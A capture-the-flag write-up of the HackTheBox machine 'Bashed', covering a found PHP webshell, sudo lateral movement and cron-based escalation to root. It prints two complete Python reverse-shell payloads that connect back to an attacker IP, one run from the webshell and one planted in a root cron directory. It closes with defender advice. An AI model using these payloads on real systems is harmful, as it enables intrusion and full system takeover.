EASY LINUX
Bashed
March 01, 2026 8 min read
WebshellsudoCron
Target IP
10.10.10.68
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Single open port — HTTP only. The site's about page mentioned the developer had been working on a tool called phpbash and testing it on the server. That was enough to start looking for it before any other enumeration.

$ nmap -sC -sV -oN nmap/initial 10.10.10.68
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
  

The site is a development blog with a post describing phpbash — a semi-interactive PHP webshell the developer built and tested "on this very server." The hint is explicit. Time to find where it lives.

Enumeration

Standard directory brute-force to find the webshell location. I used a medium wordlist since the developer's blog was the only lead.

$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/images               (Status: 301)
/uploads              (Status: 301)
/php                  (Status: 301)
/css                  (Status: 301)
/dev                  (Status: 301)
/js                   (Status: 301)
/fonts                (Status: 301)
  

The /dev/ directory had directory listing enabled. Inside: phpbash.php and phpbash.min.php. The developer left the webshell on the public-facing server — not a staging environment, not behind auth, just sitting there.

$ curl http://10.10.10.68/dev/
<!-- Directory Listing -->
phpbash.min.php
phpbash.php
  

Foothold

Navigating to http://10.10.10.68/dev/phpbash.php drops into a browser-based interactive shell running as www-data. It has tab completion, command history, and looks like a terminal emulator in the browser. Useful for initial enumeration, but I wanted a proper reverse shell for stability and TTY features.

Key Finding
Developer testing tool left on internet-facing server with directory listing enabled. Immediate code execution as www-data — no exploit needed.

From the phpbash interface I ran a Python reverse shell to get a proper connection:

# in phpbash — upgrade to a real reverse shell
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.X",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# on my machine
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.68] 49874
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  

Shell as www-data. First privesc check: sudo -l.

$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
  

www-data can run anything as scriptmanager without a password. This is lateral movement, not vertical escalation — but it opens up new attack surface.

$ sudo -u scriptmanager /bin/bash -i
bash: no job control in this shell
scriptmanager@bashed:/var/www/html$ id
uid=1000(scriptmanager) gid=1000(scriptmanager) groups=1000(scriptmanager)
  

Privilege Escalation

As scriptmanager I looked for directories and files owned by this account that weren't visible from www-data.

scriptmanager@bashed:~$ ls -la /
drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 scripts
  

The /scripts/ directory is owned and writable by scriptmanager. It contained two files:

scriptmanager@bashed:/scripts$ ls -la
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.py
-rw-r--r-- 1 root          root          12 Jan  1 12:01 test.txt
  

test.txt is owned by root but has a recent modification timestamp — updated within the last minute. test.py is a script that writes to test.txt. A root cron job is running all Python scripts in /scripts/ on a schedule (every minute based on the timestamp cycling). I wrote a reverse shell into the directory and waited.

# write malicious script into the cron-watched directory
scriptmanager@bashed:/scripts$ cat > rev.py << 'EOF'
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.X",4445))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
EOF
  
# listener on port 4445 — root shell arrives within ~60 seconds
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.68] 42190
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/arrexel/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Never deploy debugging tools to production. Disable directory listing in Apache (Options -Indexes). Cron jobs running scripts from user-writable directories as root are a privilege escalation waiting to happen — use a dedicated read-only script location owned by root.
← All Posts